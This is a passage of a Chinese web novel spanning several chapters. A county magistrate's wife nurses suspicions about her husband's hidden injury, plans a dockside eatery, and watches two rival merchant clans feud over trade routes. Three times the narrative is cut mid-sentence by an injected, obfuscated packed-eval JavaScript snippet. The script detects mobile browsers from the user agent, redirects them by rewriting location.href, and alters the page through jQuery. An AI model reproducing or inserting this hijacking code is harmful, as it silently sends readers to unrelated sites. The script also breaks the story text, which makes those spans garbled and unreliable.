陆笙看了看自己的退休居,对这里的布置愈发满意。向外眺望,看到后园里新加的梅树、苦楝、合欢、和海棠,只可惜石头墙还没垒起来,破坏了视觉上的美感。 墙当然可以她垒,但崔息既然答应,还是等等他。 陆笙又掐指算一算日子,现在都快到雨水时节,视察要这么久? 期间只有汤伯来送过一次口信,他说县令与秦厌遇到些事,现在一路平安,但要晚一些回来。但越等陆笙越觉得不对,她根据自己曾经行路的时间略加推测,这时间都够他再走两次来回,到底是什么事? 心情未安之时沈莲丰来了,她“笃笃”敲了两下门。 “娘子,张大夫来了。” “张大夫?他来做什么?”陆笙也没有请他来把脉。 沈莲丰笑着说大夫来了她就知道。 张远清还是那模样,陆笙怀疑他会偷偷修胡子。 “张大夫,你怎么来了?”她伸出手,又记起有段时间自己好像是要请他的。难不成是丰娘知道自己身体虚弱主动去请的? 张远清不搭话,“啧”了一声以后才说:“最近多吃点肉,你内里亏虚得很。你这是怎么回事,土夫子都没你这么失阳气的。” 张远清身体里好像设置了什么程序似得,总是“啧”声后开始留言,而且比喻也总是异常奇葩。 “下了一趟共河。”陆笙老实回答。 “什么时候?”张远清摸摸胡子。 “灯会之前。” “好,我知道了。我给你开个方子,你照着喝,多吃肉,最好呢再练练拳,早点起来练,吸天地精华,吐故纳新。”张远清拿着方子沾了墨水开始写方子。 写到一半说:“你刚才是不是问我怎么来了么?是崔县令请我来的。” “他?那怎么不回来。” “上一次请我时说的,交了一大笔钱,让我每隔一月便来一次。这次还真让他请对了。”张远清的墨迹覆盖了半张纸。 陆笙心里划过一丝狐疑,但没有任何证据,只是无端的直觉。 “打什么拳合适?几点起才好?”陆笙问张远清。 张远清低着头的动作没变,只眉眼一提,神态仿佛一个算账的老账房。 “就附近那只鸡叫了差不多,至于什么拳,之前听说县里有一道士与你从小相识,他们的三十七式就不错。” “那可以练剑么?”陆笙觉得张大夫这提议就是叫自己多锻炼。 “不可,兵器最近不要操练。剑医胆,但你胆子实在太大,等其他练好了再练胆,不如试试琴,琴医心,字也可以。”张远清摸一摸自己的胡子。 “……好吧,我听大夫的。” “嗯,下个月我再来,练与不练,全在你脉象里,别想骗我。照着这方子抓药,一天两次,吃半月即可,这方子是配着你补气开的。记得,鸡一叫,就得起。”张远清嘱咐她。 陆笙点点头。 张远清离开时她拿过药方,不知是否是错觉,满身药味的张远清身上有一股熟悉的檀香味道,味道极淡。 “还是这房间里的?”陆笙一说愈发不自信了,她也不懂香道,万一烧檀香的都这个呢? 张远清骑驴来,骑驴去,细雨里戴上斗笠披上蓑衣,路过石缝里生长的野草,转进安静地巷,他缩在袖子里的手终于伸出来,借着雨水搓去指尖已经干涸的血点。 - 又几日,崔息“终于”回来,陆笙记得他去时荠菜正鲜嫩可口,来时荠菜都开了白色的花,在细长的草茎上开放。 崔息带回来了一株樱桃树,他拿着一个大陶盆,怀抱着树来到退休居。 陆笙正在屋里写字,最近她除了履行张大夫给自己制定的目标以外,也给自己搞了一套现代锻炼法子,顺便加上高蛋白低脂的饮食。 几天下来,从偶尔失眠的状态变成了倒头就睡的状态,就是这开头搞得肌肉实在酸疼,写字时静默体会的瞬间里她都觉得那些肌肉细胞在不断地撕裂生长,拿着笔颤颤巍巍。 “阿乐。”崔息声音轻轻的。 陆笙闻声毛笔掉落,刚刚在砚台上舔好的笔尖歪倒,纸上洒开一片墨点。 陆笙奇怪,明明刚才听到了木珠帘响着,甚至它们现在还没停止晃动,为什么连笔都脱了手,她知道有人来的。 陆笙捡起笔循声望过去,崔息居然没有瘦削到她想象的某种状态,面色也没有那么苍白。 “怎么不说话?”崔息等待了片刻,陆笙却没有说一句。 陆笙搓搓自己的衣袖,坦白:“不知从何说起。” “那就不说,我给你带了樱桃树。” 崔息走上来,想把盆放在桌上。 陆笙赶紧制止他:“有泥呢!”说完把自己的练字纸压在桌上。 放樱桃树的时候陆笙注意到他左臂的不自然。 “哪里来的樱桃树?” “去溪口村挖的,那里有很多樱桃树,风光也很好,云山雾罩,鸟鸣莺啼。”崔息抚摸一下樱桃树上刚长出的新叶,语气有些感慨。 “樱桃价贵,居然没见溪口村的村民出来售卖。” “我与他们说过,他们说樱桃本身价格就不低,运过去价就更高,价高了便没人买,那些乡绅们家里就有樱桃树,需求不大。”崔息耐心解释。 解释完,他将左手背过去,身体微微前倾。 “其实,这次是因为处理了几个劫道的匪徒又查访了些民情才回得如此晚,以至于过了雨水。” 虽然陆笙不说,但崔息觉得自己应当解释。 “那三花呢?”陆笙不问他,反倒问起那只猫。 “当时寄养在汤伯那,秦厌已经带回来,你若想它,我喊他给你送回来。” 陆笙笑说:“不必了,秦厌更记挂它些。” “那你呢,你记挂么?”崔息没能守住自己不能脱口而出的话,他懊悔,怎会如此唐突,只愿她没听出来。 “嗯,记挂的。”陆笙看着他的眼睛说,心想好歹也是她救回来的。 崔息知道她是在说三花,可抿不下笑。 只是陆笙忽然走过来,抓住他的衣袖往上一剥,崔息的手臂没有半点伤痕,线条明晰。 “怎么了?”崔息问。 “没事,没事。”陆笙把他的衣服放下。 “对 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13062303|132703||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了,你还记得你说要帮我垒石墙么?你看,字我已经在写了,石墙却没一点动静,再晚一些就要耽误我种木香。” “谨遵夫人教诲。”崔息行一个礼。 又问:“你这屋子改得真好,这木珠帘别有新意,还有我画屏的位置么?” “自然是有的,即便不能画屏,你也可以画壁,把我们后园的壁全部画一遍,羡煞别人。” 崔息看她笑得灿烂,被人埋伏吃亏后最后那点阴霾也消散了,忽觉人间值得,他甚至快要答应这个“无理”的说法,把丹青挥洒其上。 “人家院子还是白墙好看些,画得太多,抢了自然草木的风姿,到时相看两厌。”崔息给出一个理性的建议。 陆笙一想也是,繁要简配,自然之景已经繁茂就不必做那种怪事,又觉得好笑,怎么?他还真考虑把这后园画满?到时候四年任期过了墙都没画完。 “云尘所言甚是,走,我们去挑个地方把樱桃树栽下去。”陆笙一把抓起盆就往外走。 两个人围着退休居转了一圈,最后选择把它种在香草圃附近。陆笙撑着锄头,崔息握着铲子,浇水的木桶放在旁边,水全部沉入土地,樱桃树附近一片凹陷的湿土。 看着这棵樱桃和附近正吐新芽的枸杞,陆笙想:怪不得说是“红了樱桃,绿了芭蕉”,四季变化还真在其中,四时有花信风,比单纯的文字和温度描述季节更栩栩如生。 “都城的樱桃会比我们种的好吃吗?”陆笙忽然问。 “自然是我们种的好吃。”崔息着重点在她的“我们”上。 陆笙哈哈大笑,已经在想绿叶遮樱桃的景象,她又拉着崔息,给他展示自己种的香草、移植的花木。 崔息讶异于她今日的活泼,顺着她一棵又一棵地看,一种又一种地认。归园田居似得幸福让他喜悦洋溢。 陆笙指着一株分出叶片的瓜苗问:“你的手臂还好么?” “好……” 崔息说出口便意识到不对,陆笙似笑非笑地盯着他看,原来她刚才都是做戏,让自己误以为声东击西成功,结果她在这等着他“招供”。 “是右臂吗?” “嗯,略微受了些轻伤。”还是瞒不住她。 陆笙疑惑:“为什么在张大夫那不回家?” “外出遇险未结痂,血光之灾未去不宜回家。嗯?你又如何得知我在张大夫那?” “猜的。”是那点味道带来的直觉。 之后陆笙又问:“是谢家派过去的么?” “只是寻常劫道的毛贼,雨夜湿滑便受了伤。”崔息没说伤是他去抓苗木才意外受的。 “阿乐,你怕么?” “怕什么?” “谢家报复你我,在暗处伺机而动。” “不怕,我和珞云把乡绅们做的买卖大致统计了一遍,谢家最多,所以谢家要产什么,产多少,如何安排,这事也够人家忙活了!报复我们和生产这两者人家也是知道孰轻孰重。” 陆笙通过这段时间的研究,知道永平镇暂时处于平衡之中,虽然谢家是看县令不顺眼,但目前的大方向一致,通商。但是看着崔息的眼睛,陆笙知道他不是问理论上的情绪,而是问一些真情。 “怕,但不是怕谢家报复,只怕全力以赴却一事无成。云尘,你怕不怕?”陆笙侧首问他。 “怕,我怕得事情比夫人多。”他最近常说这两个字,陆笙已经听习惯。 虽然说的是怕,但两个人却笑,都感觉心里忽然空空如也,只有如风吹来的喜悦,神魂充盈。 一阵风来,飞花四散,崔息帮陆笙把散开的发丝拢到耳后,又恋恋不舍地收了手问:“是不是太没出息?” “已是虽千万人吾往矣,怎么没出息。只是……” 47. 第 47 章 崔息在退休居坐北朝南,左右两边是秦厌和沈莲丰。 他本以为只有自己和陆笙,没想到大家都被喊来。 陆笙站在一块自制的木板前,这板子上下有木条,纸张平铺进去,木条固定后就可以当黑板用。 “这就是我所说的‘开会’,和政事堂或许差不多。”陆笙对崔息笑着解释。 昨天陆笙“只是”后面讲的就是缺乏共同商议的环境,一个人的想法始终是局限的,开会能中和这一点。缺点是全凭话事人决断,但县内诸多事本就是由崔息断的,这个模式希望他有更多思路。 以及家庭主要成员参与其中,并且战线相同,认知也不是天差地别,如此情况力就该往一块使。 崔息仁慈,对权力的使用还算克制,陆笙觉得这一份得寸进尺应该在他容忍范围之内,毕竟上一回也说了些对永平县的认识,就是没来得及深化,没有细节的模拟和计划。 陆笙没考虑到的也有很多,可这时候顾不上,毕竟她连会都想着开,还能保持清醒已经很了不起,之前在公司那是一开会就想睡。 “笙姐姐,这是做什么?”秦厌给三花塞一口鱼干后问。 “娘子,开会是开什么会?”沈莲丰也有点不明白。 “自然是讲一讲永平县的事。秦厌,在你看来永平县是什么样的?”陆笙歪头问。 “永平县……特别小,城里店铺七万八绕不好找。谢家与隹家富得很突出,也不把衙署的人放在眼里,这……这能说么?”秦厌看一看崔息。 “能说。” 崔息点头,他明白陆笙的意思,是兼听则明。 “丰娘呢?”陆笙继续问。 “永平县好些东西卖得比州府要贵,失了水运必须从外面购买的货物价格便上涨得厉害。这里吃猪肉的人家不少,大约是曾经留下的习俗。酒水倒是便宜,或有好水围绕。县里留不住人,去年到今年有不少人家去州府做工,同族之内一人带一人这么走的。” 陆笙简直想鼓掌,丰娘观察得异常仔细,前面是现象,后面接原因。 “那综合来看……”陆笙想说结论。 秦厌却喊了句:“公子还没说!” 崔息看向陆笙,头也轻轻歪了歪。 “那就请县令大人讲。”她提醒他现在应当切换的身份。 “商路通只是普通的言语,或许县城已有走货郎行经,叫人多了几分实感,但远处村落里的百姓又如何晓得?如此下去只有等货船真到此处的那一天才真明白商路已通。” 崔息解释了一番,掐在问题要害。陆笙挺佩服他的,但不知他的解决之道如何。 “公子,那如何是好?就这么等着么?” “不能等,走货郎是会跟东家报货量的,第一次不会多,可粮食一次本就运不完,而且大宗交易摸清以后散户很难卖出。”崔息摇摇头。 “阿郎,这可如何是好?” 陆笙没有问出口,问题他既已晓得,方法肯定也在想。 屋子里气氛一时有些沉重,陆笙轻轻叩一叩桌说道:“我这里有别的事,我想教阿灵做菜,到时让她在靠近码头的地方租一间屋子,一开始肯定没生意,但之前正好想着叫府里的仆役婢子们学些粗浅功夫,不如让大伙跑过去吃,吃完走回来。” 这是陆笙胡乱说的,她只是把两件想做的事情胡乱联系起来。 秦厌居然第一个赞成:“笙姐姐说得有道理,简直两全其美!嗯,就让我亲自教些粗浅功夫,给月钱么?” “你不是在县衙当差么?”陆笙不解。 “那不是,我只是公子亲卫,顺道在县衙当差,都不发月钱的。”秦厌趁机打小报告。 崔息咳嗽一声说:“此法可行。” “啊?”陆笙去看沈莲丰,家里事她做主,她善识人用人,不知她怎么说。 沈莲丰面色有些严肃,陆笙以为她要否决,结果她说:“夫人妙极,此法不但可震慑别有用心之人,吃饭的事也没有落下。” “啊?不是,那我们府里无人,到时人家真有心使坏岂不是让人钻了空子,我们这府里也唱不成空城计的!还有我们也得吃饭呀!”陆笙倒成了反对自己提议的那个人。 “娘子安心,分两批不就好了?再说还有你、秦厌和我呢!至于吃饭……”她看着陆笙。 “那仆役们会同意么?”陆笙嘀嘀咕咕,她不免代入,谁让上辈子是个打工仔,吃饭的事好说,给钱她就做。 沈莲丰说:“试行十日,不愿留下便离开。习武是本事,从我们府里出去倒还可以做其他谋生。” “是,也是。”陆笙掐一把自己,又犯“病”。 “饿了饿了,我们吃什么?”秦厌拍拍自己的肚子,他还没吃午食,公子直接急匆匆地赶回来,他还以为是笙姐姐给他开了什么小灶。 “有油焖笋、腌笃鲜、东坡肉、鱼头豆腐和荠菜鱼丸,知道你们肯定没吃,菜都在厨间灶上热着,快去吃吧。对了,小份的别吃,给杨娘子留的!”陆笙报菜名的时候秦厌口水都要流下来,听一半就跑了,陆笙后面半句是追着他喊的。 喊了走回来,丰娘也离开,说是要安排一下自己那个随口胡诌的计划。 退休居里只剩崔息没走,陆笙在门口看着他,秦厌没吃饭,他也没吃,怎么还不去。 “云尘不去吃午食?”陆笙觉得他大概是在为永平县而烦恼,自己压力大的时候也什么都不想吃。 “阿乐呢?你吃好了?”崔息反问。 “我吃烤的胡饼,今天有些想这一口。” 今天上午她收到了老庄的信,老庄的信上没有写字,用一些粗劣的线条画了许多的山山水水,还有一个虬髯大汉骑着一匹马,马身是简笔画,马头是个长方块,两只眼睛像大小不一的芝麻。 陆笙从炉子里拿出胡饼,崔息从没见过这样的胡饼,只见拿了一把细刀子,刮去了胡饼上的黑灰,她擦了擦手以后掰开,这饼子胡椒味很重,看馅是羊肉与洋葱剁碎以后塞进去的,或许还加了其他酱,颜色较深。 “能分我一块么?”崔息不知什么时候走了过来,缓缓蹲下。 陆笙把另一半递给他,人站起来坐回去,蹲着吃这件事她不习惯,胃不舒服。 崔息也走回去,与她相对而坐吃饼。 陆笙给他分一杯茶,这饼很干,以前都是要配酒的。 想到酒,陆笙忽然停止咀嚼。 “怎么了?”崔息发现了她的呆滞。 “我忽然想到一件事,谢家肯定会增加耕地数量,比原先还多,不知以买地的方式还是租地的方式。地越多,需要的劳力也便越多 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13079039|132703||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,但也可能是更新耕作方式,或者双线并行。这些乡绅若就是想趁机以几家之力喂饱那些商船这可如何是好?到时价格岂非由这些人说了算?” 陆笙头有点痛,掌握粮食意味着太多,就比如刚才她想到的酒,酒也是用粮食酿的。本地的水好,酒也好,可以作特产。 崔息轻轻掰一口饼,对“几家之力”皱眉,想到王怀泉说的南边不愿意接他们的粮,这其中是否有这个原因呢?毕竟隹家是能和南边土人说话的。 “算了,不想这个,光想也没办法,破坏吃饭气氛。”陆笙主动闭嘴。 “要不要出去吃?”崔息拿着饼问。 “不要,我今天就想吃这个饼。”陆笙以为他要带自己去下馆子。 “只是人出去,还是吃这个饼。” 陆笙看着他的脸,算了,去吧,秀色可餐。 两个人从后门出去,沈莲丰拿着一叠荔枝煎过来时微微避开,躲在入园的墙后。 “丰娘,做什么呢?”秦厌问的时候手飞快捡一颗荔枝煎塞入嘴里,脚步快速后撤,这时候一般都是要挨打的。 谁知道沈莲丰根本没有打他的意思,反而对他招招手说:“来,都拿着,吃去吧。” “啊?”秦厌吓坏了。 “丰娘,你莫不是下了什么巴豆泻药?” “对,我下了巴豆泻药,爱吃不吃。”沈莲丰笑着点秦厌一记,哼着小调去找杨珞云撸小毛锤。 被发现的两个人浑然不知,走在茂盛的春野里吃饼。 风一吹就有梨花落下,陆笙感叹说:“春天就梨花最容易别,再刮两天就彻底不见。” “夫人不喜欢梨花?” 陆笙吃着饼摇头,咽下去才讲喜不喜欢。 “不,我喜欢梨花,它是春日的雪色,又描摹了春风,虽然不香,但与风有缘,实在美丽。哦,那岂不是也不能说我喜欢梨花,我大概喜欢风中的梨花,能飘得很远很远,飘得远我就看不到它零落了,有种自欺欺人的美感。” 崔息并不能理解这种说法,特别是“自欺欺人”怎么能是美的。 “云尘呢?你喜欢什么花?”陆笙问他。 “樱桃花,春闱时见过一次开得异常盛大的花事,从此便爱樱桃花。” 陆笙惊讶,但转念一想也对,入世时标志性的花,她还以为会是莲花这样的富有佛教色彩的花。 “那又是为什么呢?”陆笙不能让他题目只答一半。 “美。” “没了?我还以为探花郎要赋诗一首夸赞一番。”陆笙惊讶他的质朴表达。 “不需赋予,花开在枝头即成美,再好的诗也添不了色。”他想说些简单的真心话,赋予的往往映射自心,而那一刻崔息无自心,只为花事赞叹,就像此刻,他的心也在为她而赞叹。 陆笙看他略有些严肃的面容,觉得他认真地可爱,不过是随意说些话,怎么像跟要进谏一般。 又走了几步,饼冷下来,它越冷越难咬,而且没有水实在噎喉咙,陆笙坚持要回去。 她随着梨花风看,看春风拂过,十里、千里、万里,随着陆笙的眼神远去,最后川山阻挡了视线,回头是崔息目不斜视地向前走的模样,脑子里忽然蹦出个不着调的想法。 若探花也算花,那探花郎也挺美的。 48. 第 48 章 隹崖跟着父亲一路同行,从乱花迷人眼的谢府里穿行而过。 今日是每季相约之日,两家虽然都带着一家独大的野心,但危难之时还是达成了合作。隹家土人多,能与南边商路相通。谢家北人多,能往北边运货,所以即便是看不顺眼,该合作还是得合作,都有货要出手。 “崖,看看你谢伯伯家的春庭,这移步换景的精巧确实很有本事。”隹黎拍拍自己这个刚成年的幼子,希望教他一些欣赏花园的本事。 年轻的隹崖皱着眉,没有领会父亲的心意,他觉得这里有些狭窄,不如山中自在。 “山上的花草可比这里的开得好,繁茂又多姿。” “那山上的花草可有这里层叠排布的好看?”婉转的声音从不远处传来。 隹崖的心轻轻颤了一颤,他一时分不清自己这是因为被发现而尴尬,还是因为对方的声音如泉水敲击石块的美妙律动。 谢栖真抬手拨开海棠花枝,从春色里走出来。 鹅黄嫩绿的春衫被风捧起,隹崖觉得眼前的女子像春日神女,他没见过这样好看的女子,体态纤细优美,如兰花之茎,面又如山色倒影。 “犬子无知,乐于莽野。” 隹黎比谢栖真大一辈,不会自降辈分赔礼道歉,但面子总是要给的,毕竟谢莘这个老不死的矿头最近很是器重她。 “隹伯伯说笑了,山林与园林各有意趣。”说完她微微福了福身,说自己赏花困乏,先离去了。 “父亲,这是谁?” 隹崖第一次来谢府赴宴,并不认识这里的主人家。 “喜欢了?”隹黎斜一眼自己这个孩子。 隹崖点头,“喜欢,父亲要为我做媒么?北人是不是要做媒?” 隹黎的巴掌宽厚,一下拍在他的后脑勺上,小子身躯踉跄一下稳住身形,有些生气地问:“父亲,你打我做什么?” “看你白日做梦,把你打醒。”隹黎拿出腰间的烟袋点燃,咬住包金铜的烟嘴生生吸一口再把烟吐出来。 隹崖在旁边呛烟,他闻不惯这个味道,跟着火似得难受,他现在就是被烟熏的蜜蜂,嗓子疼眼睛疼。 “我怎么做白日梦了?咳……咳……” 隹黎不言语,四处看一圈,这始终不是自己的土地,自己的房子,说些话还要有所顾虑,于是他继续往前走,如果自己的儿子不是白痴,那么等会儿他就会明白,自己如何不相配。 隹崖终于解脱,呼吸了几口花园香气继续跟着父亲,这一次他没有并排同行,跟在他身后,尽管还是吃了不少的烟雾。 谢家的屋子很大,走过草木茂密的花园又要走架起的水道,很难相信,居然在自家里有一个这么大的水池,池上有一座亭,已有几人落座谈笑风生。 隹崖看他们穿的是华服锦缎,年纪也比自己大,遵从父亲的提醒,这时候他不应该说话。 父亲向谢家人介绍自己,隹崖含笑含人,哥哥、伯伯都有。原以为这已经结束,没想到还要继续走,谢家人如同分散在山林之间的蘑菇一样,这一丛,那一丛,然后父亲会拍拍自己的背,自己就开始叫人。 隹崖有些厌烦了,不是说来赴宴吗?怎么这么麻烦? 饭不见一碗,人倒是遍地走。 “父亲,什么时候吃饭?”隹崖看到父亲的烟抽完,立刻小步跟上去。 “再过一个时辰。” “什么?!”隹崖快吓死了,到底还要向多少丛北人蘑菇说话! 但之后隹黎带着他走到一座大屋前,大屋左右种满了桂花树,有一块大匾挂在那,上书两个字“蟾宫”。 …… 什么破名字,隹崖搓一搓胳膊,北人自诩风雅,这狗屁的风雅。 走进去,屋子里有缭绕的烟,一缕青色徐徐向上,隹崖捂一捂鼻子,可吸进去的那点空气告诉他,这一点也不呛人,反而有一种沉静的味道。 屋顶居然画有彩绘,繁复的花朵盛开,图形变换,他有些眼晕,但隹崖还是时不时偷看一番,顶上的那一抹蓝色太神奇,他可从没见过这样浓郁而纯净的蓝色。 “待会儿坐我身边,不要说话,捱过这里就可以吃饭。”隹黎已经知道小儿子有些不喜欢这里。 “好!” 隹崖听哥哥们说谢府的饭好看又好吃,吃饭的时候还能看美人舞蹈。 - 谢栖真坐在水亭里看话本,等会免不了要与隹家争论,他们管南线,自家管北线,现在北线能运的货物更多,当然以自家优先,如何压制他家的货物数量,这是一个要紧的问题。 “娘子,应去蟾宫了。” 婢子来催,谢栖真把话本放到婢子手上,离开水亭向蟾宫去。 开门时一堆人盯着她瞧,隹家的那位小儿子也一样。谢栖真已经习惯这样的注目,不再有胆怯与不适,连谢家的太公都认可她的野心与才华,她有什么好怕的。 试问,在这个县里谁不应该注视她呢?谢栖真捏住泥金帔子,向众人施一礼。 隹崖目光追随着她,看她如何优雅入座,又如何倒茶,别人的话语化作昆虫似得嗡鸣,堂上只有谢栖真是真切而清晰的。 “隹家凭什么与我谢家同分北道水路?” 隹崖心一紧,她在说什么? “哦?那谢娘子说说,又凭什么不能同分?”隹黎又点起这烟。 谢栖真美丽的眼睛微微弯,脸上挂起笑。 “隹家吃不下。” “吃不吃得下与我们平不平分是两回事,失了这次机会,以后你们还肯吐出来?大家做了这么多年生意,玩这种把戏?没意思的小丫头。”隹黎歪头将嘴里的烟吐尽后道。 他们隹家或许这次吃不下,那下次呢?不能只看眼前,也要看以后。 南方的路线还大有可为,认真耕耘迟早把谢家挤下去,到时这永平县就是自家说了算。 “隹伯伯,此次硬要平分我看行不通,您叫那些商船空着回去,以后人家还会来么?做生意要讲信用,您说得很对 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13095933|132703||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ?不必玩什么花招。这次我们谢家占七,你们隹家占三,以后你们能提供多少就提供多少,各凭本事。”谢栖真还是不让。 “哼,若非我去了南边,这次我能让你们一家去谈?谁知道你们使了什么把戏,我就这么说了,除非对半,否则南边的路以后别想走。”隹黎冷笑,反正不怕招式老,管用就行。 谢栖真脾气上来了,看隹黎死猪不怕开水烫的架势怒从心头起,这个贼老头,老是掐着南方路不放。 “隹伯伯,南边的路子若没有我们谢家的铜,你又怎么能走得那么远呢?” 隹黎眼睛一闭,叼着烟不说话,一阵又一阵的烟雾模糊了他的面目,谢栖真看到他这样听不进人话的模样深呼吸一口,心里涌现出一股掀桌子砸他身上的冲动。 谢林这时候站起来,继续与隹黎谈,左一言又一语,从劝服到骂战。 隹黎说谢林目光短浅,也不止目光,他哪里都短浅,所以生不出几个儿子。 谢林憋红了脸骂隹黎的儿子都在山上逛,为商不进取官道,以后万万不能长久。 隹崖与谢家人合力把他们拉开的时候心想,完了,这是吃不上谢家的好酒好菜,也欣赏不到歌曲舞蹈。拉开后他给父亲喝了些水,隹崖左看右看,谢栖真不知在何处了,没有陪在她父亲身边,如春日一般溜走不见。 隹崖问隹黎:“父亲,为什么要说那样的话?” “你去杀一头野猪,枪要刺到哪里?” “自然是心脏。”隹崖说得很肯定。 “那这次说话的目的也一样。”隹黎对小儿子有些失望,他大概不能接自家的产业,他的天性不在此。 隹崖说:“可这不是杀野猪,是吵架。” 隹黎按一按自己的胸口,刚才吵架争辩甚至浑水摸鱼都是因为声音大而红脸,现在儿子的这番话他的心口是真有些不舒服。 “好了,闭嘴等吃饭。”隹黎不想与他说话。 “还能吃饭?吵这么厉害还能吃饭?”隹崖有些震撼,甚至以为父亲是在开玩笑。 可不一会儿,居然真有侍女来引人出去,一走出这蟾宫,谢林谢伯伯就走过来。他先是拍拍隹崖的肩膀,然后对隹黎说:“你儿子真壮实!” “你姑娘有头脑!” “别想占我们家便宜。”谢林嫌弃。 听两个长辈一副前嫌尽释模样,隹崖摸不着头脑,他不明白这是为什么。为什么这样吵过以后还能继续说笑,到底是敌对还是友好? 又走了一段路,本就昏的天色愈发暗,隹崖的眼力好,在还能看清路的时候听到那位谢伯伯命人点灯。 自己身边也多出一位仆役,灯火装在纸糊的灯笼里,灯笼上有一片墨竹,它吃下光影的痕迹落在隹崖的衣袍上,像月下的树影子。 忽然耳边一阵泉水落石般的声响。 “隹崖?” 他回头,果然是那位神女一般的谢栖真,他心里欢喜,反正父亲说不要白日做梦,没有说夜里不能做梦。 49. 第 49 章 这一次的宴会设在水亭,几个水亭分桌而坐,坐的位置体现远近亲疏与身份名望,所以谢林与隹黎是一桌,自然,谢栖真和隹崖也落在那一桌。 只不过谢栖真是真能坐上去,隹崖是因为父亲是隹黎。 桌上还没上菜已布置好酒,主人提杯敬酒后有侍女翩然而来,各个仙髻纱衣,手里端的菜蔬精美异常。水亭每个檐角挂一串灯笼,亭顶部也悬了一盏灯,光赋色,风赋香,隹崖一打眼这些饭食肚子就发出了声音。 隹黎扶额,谢林哈哈大笑,拍着隹崖的肩膀叫他快些吃快些喝,隹崖不客气,拿起筷子夹了一片烤羊肉,带着皮的。那皮已有些酥脆的口感,肉却很嫩,配上旁边的胡椒孜然香得无以复加,但吃几口却有些膻气,隹崖放下筷子,饮酒祛味。 后面上的所有肉菜几乎都是羊肉,隹崖兴致缺缺,唯独肥瘦相间而串的炙烤羊肉串能多吃一些。比起羊肉,他更爱吃炙烤的猪肉,烤完以后蘸自己调的料汁,他能吃一晚上。 这里的面食他也吃不惯,他爱吃稻米制品,米线、米粉都好吃,清淡鲜爽,味道不似这里的厚重,真不知道父亲母亲还有哥哥们是怎么喜欢上这里的饭食的。 对事物挑拣时隹黎正在和谢林说话。 “谢林,你知道码头要开一家食店么?”隹黎饮酒后眼睛微眯起。 “食店?呵,什么时候你连这种事也关心了?别跟我说你也要开食店。” 谢林手底下的嘉林馆是全县城最好的食店,甚至可以说是最好的酒店,这种事它可不关心,特别是码头那里的食店。那边也就是给船工吃吃的地方,真花钱还得来嘉林馆。 “如果说那家食店是崔县令开的呢?” “你怎么知晓此事?” “那边的地方有许多是我隹家的,买卖时我的管家恰巧在附近。你猜怎么着?后来他就看到那县令夫人带着人在那粉刷墙壁。”隹黎激动得眼睛睁大,眼睛已经有些醉醺醺的红。 “哦?所以这崔县令必然不是世家子,不然怎么能穷得要去码头开食店?还是自己夫人亲自张罗的,到时不会要叫那妇人当垆卖酒吧?”谢林哈哈大笑。 “你说我们要不要去挤一挤热闹?”隹黎嘿嘿一笑。 这种小食店靠的是薄利多销,要是他们两家联合起来左右各开一家,或者对面开一家,到时卖得比县令家便宜还好吃,那不久他家的食店肯定要倒闭。 明面上不能跟县令对着干,但可以恶心他,挤兑他。谢、隹二家已经达成一种共识,在永平县向他们低头的才能做一个好县令,得一个好考核,才有升迁路。 隹崖没有听两个长辈在说什么,吃的不合口味以后他就开始左右顾盼,假动作做够了就看一看谢栖真。 谢栖真在吃毕罗,据侍女接受这是什么樱桃毕罗。隹崖就看到这么长条的面食,里面似乎夹了馅,他也拿一个,一口全塞进了嘴。 隹崖的脸立马皱起来,谢栖真轻笑一声。 不行!甜得太过分!但不能吐,只能用三杯酒水渡了下去。 “谢娘子,请问什么时候有歌曲舞蹈?”隹崖看着她的面容舍不得移开目光,便问一个问题,消解自己盯着她的尴尬举动。 谢林即便和隹黎说话时也是眼观六路耳听八方,听到小辈这么急切笑呵呵地拍拍手,有人呼喊传话。接着水中就亮起了灯,四肢纤细修长的舞女已经摆好舞姿,不远处是为这场舞演奏的人。 身姿灵动飘逸,动作一气呵成,隹崖看得不由鼓掌。 谢林对隹黎笑说:“令郎真是一派纯然天真呐?”他又发出一声“啊”的声音,配合挑眉的动作隹黎有点牙齿痒,他年轻时习过武,这么近的距离让谢林掉几颗牙齿不是问题。 “不及你当初,呵呵。” 年轻时谢林宴席偷坐家主位置口出狂言说要如何如何,被一片屏风之隔的两家长辈听到。 “算了,不与你废话,看舞。” 妙舞清歌里,隹崖问谢栖真:“谢娘子,要不要和我去跳舞?” 谢栖真皱眉,跳舞?她是主人家怎么能去做这种伎人的事,便以为隹崖在调笑于她,面皮上那点笑顿时冷了,脚在桌下踩了他一脚。 隹崖吃痛,不跳就不跳,踩他做什么? “父亲,我可以上去跳舞吗?”隹崖看得心痒。 隹黎头疼,怎么就把这个混小子带来了,还去跳舞,这里不是土人黑寨,这不是要叫人笑话么? 谢林不嫌事大,举着杯子说:“去跳,宴饮但求尽兴而已。” 